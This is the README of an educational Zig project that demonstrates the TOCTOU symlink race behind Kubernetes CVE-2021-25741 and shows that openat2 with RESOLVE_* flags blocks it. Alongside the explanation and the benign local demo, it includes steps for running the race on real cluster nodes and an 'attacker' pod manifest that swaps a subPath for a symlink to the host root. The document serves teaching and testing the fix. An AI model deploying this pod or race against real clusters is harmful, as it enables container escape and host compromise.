CVE-2021-25741 — TOCTOU Symlink Race Exploit in Zig

Educational exploit of the TOCTOU (Time Of Check, Time Of Use) race condition behind CVE-2021-25741, a vulnerability in the Kubernetes kubelet.

The project demonstrates locally (without a K8s cluster) how a concurrent symlink swap can bypass a path check between lstat() and open(), and proves that openat2() with RESOLVE_* flags is the fix.

The Problem
How the Exploit Works
Code Architecture
Prerequisites
Build
Usage
Expected Results
Code Explanation
Linux Syscalls Used
Debug with strace
References

The Problem

Path resolution under Linux

When the kernel resolves a path like /a/b/c/file, it does so component by component. At each step, if the component is a symlink, the kernel follows it automatically. This resolution is not atomic — the filesystem can change between two steps.

TOCTOU in the kubelet

The Kubernetes kubelet was doing exactly this vulnerable pattern:

1. CHECK : lstat(subPath) → "it's a directory, it's safe"
     ↕ RACE WINDOW — a process in the container swaps the directory for a symlink
2. USE   : mount(subPath) → follows the symlink, mounts the host filesystem

Between the check and the mount, a malicious process inside the container could replace the subPath with a symlink to the host /, thus gaining full access to the host filesystem.

The fix: openat2(2)

The openat2 syscall (kernel 5.6+) resolves the path and opens the file atomically, with constraints:

With openat2, there is no TOCTOU window: if a symlink appears during resolution, the syscall fails immediately.

How the Exploit Works

Two threads cooperate to exploit the TOCTOU window:

workdir/
├── legit_dir/
│   └── secret.txt  → contains "LEGIT"
├── symlink_target/
│   └── secret.txt  → contains "PWNED"
└── target/          → swapped between real dir and symlink

Racer Thread

Runs in an ultra-fast loop and atomically swaps target/ between two states via renameat2(RENAME_EXCHANGE):

State A: target/ is a real directory (contains secret.txt = "LEGIT")
State B: target/ is a symlink to symlink_target/ (contains secret.txt = "PWNED")

One syscall per swap = maximum race window.

Victim Thread (simulates the kubelet)

Reproduces the vulnerable kubelet pattern:

fstatat("target", AT_SYMLINK_NOFOLLOW) — checks that it's a directory
Optional pause (simulates kubelet latency between check and use)
openat(dirfd, "target/secret.txt", O_RDONLY) — opens the file
read() — reads the content
If content == "PWNED" → race win (the symlink was followed)
If content == "LEGIT" → race loss (it was indeed the real directory)

In protected mode (--use-openat2), step 3 uses openat2 with RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. If a symlink is present, the kernel returns ELOOP instead of following it.

Code Architecture

src/
├── main.zig       # Entry point: parses CLI, creates shared state, spawns threads,
│                  # measures time, displays results
│
├── racer.zig      # Racer thread: prepares initial state (target → symlink),
│                  # then loops on renameat2(RENAME_EXCHANGE) to swap
│                  # target/ and legit_dir/ continuously
│
├── victim.zig     # Victim thread: loops N iterations of fstatat → delay →
│                  # openat/openat2 → read → compare "LEGIT" vs "PWNED"
│
├── setup.zig      # Creates the test tree: workdir/, legit_dir/,
│                  # symlink_target/, target/ with sentinel files
│
├── syscalls.zig   # Constants and wrappers for raw syscalls:
│                  # - open_how struct (kernel UAPI, 3×u64)
│                  # - RESOLVE_* flags
│                  # - RENAME_EXCHANGE (= 2)
│                  # - openat2() via linux.syscall4(.openat2, ...)
│                  # - rename_exchange() via linux.renameat2()
│                  # - Helpers : is_err(), to_errno(), to_fd()
│
└── stats.zig      # Lock-free atomic counters (std.atomic.Value(u64))
                   # for wins, losses, errors, eloop + formatted output

All syscalls are called via std.os.linux.* directly (no std.fs or std.posix wrappers). The only syscall without a wrapper in Zig 0.15 stdlib is openat2, which is called via linux.syscall4(.openat2, ...) with a manually defined open_how struct from the kernel UAPI headers.

Prerequisites

Tool	Version	Why
Zig	0.15.x	Compiler + cross-compilation

The binary is compiled as static (musl libc) and runs on any Linux without dependencies.

Minimum kernel:

3.15+ for renameat2(RENAME_EXCHANGE)
5.6+ for openat2 with RESOLVE_* (needed only for --use-openat2)

Docker Desktop and colima on Mac use a 6.x kernel — everything is supported.

Build

Cross-compilation Mac → Linux

# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (for x86 nodes)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

The binary is in zig-out/bin/race-exploit.

$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

Usage

Local test with Docker

# Start the Docker runtime (if macOS)
colima start

# Run the exploit (default vulnerable mode)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

Comparison openat vs openat2

# Vulnerable mode (openat) — race works
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# Protected mode (openat2) — race is blocked
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

Or using the script that runs both:

./scripts/run_in_docker.sh --iterations 10000

Playing with the TOCTOU delay

The --delay-us parameter adds a delay between lstat (check) and openat (use). The longer the delay, the larger the TOCTOU window, and the higher the win rate:

# No delay — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — win rate ~50% (capped, racer swaps much faster)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

In a real kubelet, the latency between the subPath check and the bind mount is on the order of several milliseconds (API calls, mount namespace preparation, etc.), making the race very reliable in real conditions.

Full CLI Options

race-exploit [options]
  --iterations N     Number of attempts (default: 10000)
  --delay-us N       Microseconds between lstat and open (default: 0)
  --use-openat2      Use openat2 with RESOLVE_* (protected mode)
  --workdir PATH     Working directory (default: /tmp/race-workdir)
  --help             Display help

Testing on a real Kubernetes node

The exploit does not need Kubernetes to work — it's a fundamental Linux race condition. But you can run it on a real node to test under the same conditions as the kubelet.

Option 1: Run directly on a node

# Cross-compile for the node's architecture
# ARM64 (EKS with Graviton, GKE with T2A, etc.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# or x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# Copy the binary to the node
scp zig-out/bin/race-exploit user@node:/tmp/

# Run on the node
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# Check kernel version (>= 5.6 for openat2)
ssh user@node uname -r

Option 2: Run from a Kubernetes pod

Create a pod that embeds the binary and runs it:

# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # the binary must be copied here beforehand
  restartPolicy: Never

# Copy the binary to the node first
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# Run the pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

Option 3: Reproduce the real CVE with subPath

To reproduce the exact scenario of CVE-2021-25741, you need to exploit the race while the kubelet prepares a bind mount of a volume with subPath:

# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # This script runs inside the container and swaps the subPath
      # while the kubelet prepares the mount
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← the kubelet checks then mounts this path
  volumes:
  - name: shared-vol
    emptyDir: {}

Important: this attack only works on unpatched kubelets (versions < 1.22.2, < 1.21.5, < 1.20.11). Recent kubelets use openat2 with RESOLVE_NO_SYMLINKS to resolve the subPath.

To check if your kubelet is vulnerable:

# Kubelet version
kubectl get nodes -o wide

# Check if openat2 is used in the kubelet (on the node)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

Expected Results

openat (vulnerable)

CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

openat2 (protected)

CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

Key observations:

The "total attempts" is lower than the requested iterations because many loop rounds are skipped (the lstat sees a symlink and does not attempt the open)
In openat mode, ~25% of attempts result in a win (the "PWNED" file is read)
In openat2 mode, 0% wins — every attempt where the racer swapped is detected by the kernel which returns ELOOP
The ELOOP count matches exactly the wins in openat mode: it's the same percentage, but blocked

Code Explanation

syscalls.zig — the basic building blocks

The file defines missing constants in Zig 0.15 stdlib:

// renameat2(2) : atomic swap of two filesystem entries
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : struct passed to the syscall
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY, etc.
    mode: u64 = 0,    // permissions (if O_CREAT)
    resolve: u64 = 0, // RESOLVE_* flags
};

// Resolution flags for open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // refuse any symlink
pub const RESOLVE_BENEATH: u64 = 0x08;     // forbid escaping above the dirfd

openat2 is called via linux.syscall4(.openat2, ...) because Zig 0.15 has the syscall number but no wrapper.

racer.zig — the attacker thread

On start, it turns target/ into a symlink to symlink_target/, then loops over two renameat2(RENAME_EXCHANGE) that swap target and legit_dir:

Iteration 1: target=dir,     legit_dir=symlink  ← victim sees a dir, opens normally
Iteration 2: target=symlink, legit_dir=dir      ← victim follows symlink → PWNED

victim.zig — the kubelet thread

Reproduces lstat → delay → openat/openat2 → read → compare. Results are counted in lock-free atomic counters (fetchAdd with ordering .monotonic).

setup.zig — the test structure

Creates the tree with mkdirat, openat(O_CREAT), and write — all via raw syscalls. Two sentinel files: "LEGIT" in the real directory, "PWNED" in the symlink target.

Linux Syscalls Used

Debug with strace

# Trace all syscalls of both threads
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# Filter interesting syscalls
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# See ELOOP from openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

Note: strace is not installed by default in Alpine. Use alpine:edge or install with apk add strace:

docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"

References

CVE-2021-25741 — Kubernetes Issue #104980
Google Security Blog — Exploring Container Security: Storage
man 2 openat2 — the fix
man 2 renameat2 — atomic swap
man 2 fstatat — lstat without following symlinks
Symlinks and path resolution — Star Lab

`RESOLVE_NO_SYMLINKS`	Refuses to follow any symlink → returns `ELOOP`
`RESOLVE_BENEATH`	Refuses to escape the base directory → returns `EXDEV`
`RESOLVE_IN_ROOT`	Treats the dirfd as the filesystem root
`RESOLVE_NO_XDEV`	Refuses to traverse mount points

`renameat2(RENAME_EXCHANGE)`	Atomic swap target ↔ legit_dir	`linux.renameat2()`
`fstatat(AT_SYMLINK_NOFOLLOW)`	lstat: checks if target is a dir or symlink	`linux.fstatat()`
`openat(O_RDONLY)`	Opens the file following symlinks (vulnerable)	`linux.openat()`
`openat2(RESOLVE_NO_SYMLINKS)`	Opens the file refusing symlinks (fix)	`linux.syscall4(.openat2, ...)`
`symlinkat`	Creates the initial symlink target → symlink_target	`linux.symlinkat()`
`unlinkat`	Removes target before recreating it as symlink	`linux.unlinkat()`
`mkdirat`	Creates test directories	`linux.mkdirat()`
`read` / `write` / `close`	IO on sentinel files	`linux.read()` / `linux.write()` / `linux.close()`

ZigRaceExploit

Most Popular